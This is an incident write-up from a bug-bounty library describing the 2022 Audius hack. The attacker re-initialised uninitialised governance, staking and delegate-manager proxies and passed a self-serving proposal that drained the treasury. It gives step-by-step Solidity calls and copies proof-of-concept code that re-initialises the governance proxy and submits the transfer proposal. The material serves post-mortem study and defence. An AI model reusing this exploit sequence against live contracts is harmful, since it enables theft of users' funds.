# Audius: uninitialized proxy governance takeover drains treasury

Audius governance and staking proxies were left uninitialized; attacker re-initialized them, passed a malicious proposal, and drained 704 ETH of AUDIO.

- Payout: Real-world hack
- Severity: critical
- Program: Audius
- Analysis by: DeFiHackLabs
- Disclosed: 2022-07-23
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-07/Audius_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20220723-audius
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:access-control vuln:governance vuln:misconfiguration

**Target:** Governance, Staking and DelegateManagerV2 upgradeable proxy contracts on Ethereum
**Root cause:** The governance, staking and delegate-manager proxy contracts were deployed without calling initialize(), leaving implementation storage unset. Anyone could call initialize() and set themselves as registry, guardian, token and governance address.
**Steps:**
1. Call `IGovernence(governance).initialize(address(this), 3, 0, 1, 4, address(this))` to set votingPeriod=3 blocks, executionDelay=0, guardian=self.
2. Call `evaluateProposalOutcome(84)` so the contract's `getContract()` callback returns the AUDIO token address, registering it as a valid target.
3. Submit proposal 85: `submitProposal(bytes32(uint256(3078)), 0, "transfer(address,uint256)", abi.encode(address(this), stealAmount), "Hello", "World")` where stealAmount is 99% of governance AUDIO balance.
4. Re-initialize staking and delegate manager: `IStaking(staking).initialize(address(this), address(this))`, `IDelegateManagerV2(delegatemanager).initialize(address(this), address(this), 1)`, `setServiceProviderFactoryAddress(address(this))`, `delegateStake(address(this), 1e31)` to satisfy quorum.
5. Roll 2 blocks and call `submitVote(85, Vote.Yes)`.
6. Roll 3 more blocks and call `evaluateProposalOutcome(85)`; the proposal executes `transfer(attacker, stealAmount)` from the governance contract.
7. Approve Uniswap and swap the stolen AUDIO for ETH via `swapExactTokensForETH(audioBalance, 680 ether, [AUDIO, WETH], attacker, block.timestamp)`.
8. Total extracted: 704 ETH (~$1.08M).
**How found:** Not stated in the text; the PoC implies the attacker noticed the proxy contracts had no initialize() call in their deployment and that the implementation's storage was writable by anyone.
**Exploitation:** Attacker spotted the uninitialized proxies, called initialize() on governance to become guardian with a 3-block voting period and zero execution delay, re-initialized staking and delegate manager to grant themselves a huge stake for quorum, submitted a proposal to transfer 99% of governance-held AUDIO to themselves, voted yes, and executed it. Stolen AUDIO was swapped to ETH on UniswapV2.
**Escalation:** Chained three uninitialized proxies (governance, staking, delegate manager) so the attacker could both control proposal execution and self-grant voting power to meet quorum.
**Insight:** Upgradeable proxies deployed without an initialize() call in the same transaction as deployment are free for anyone to claim; check every proxy's implementation storage slot 0 and whether initialize() has been called before assuming a protocol is live.

## Proof of concept (copied exactly from the original report)

**Re-initialize governance proxy with attacker params**

```
IGovernence(governance).initialize(address(this), 3, 0, 1, 4, address(this));

        console.log("Evaluate Proposal..."); // this is to make sure one can submit new proposals
        IGovernence(governance).evaluateProposalOutcome(84); // callback this.getContract()
```

**Malicious proposal transferring 99% AUDIO**

```
IGovernence(governance).submitProposal(
            bytes32(uint256(3078)),
            0,
            "transfer(address,uint256)",
            abi.encode(address(this), stealAmount),
            "Hello",
            "World"
        );
```

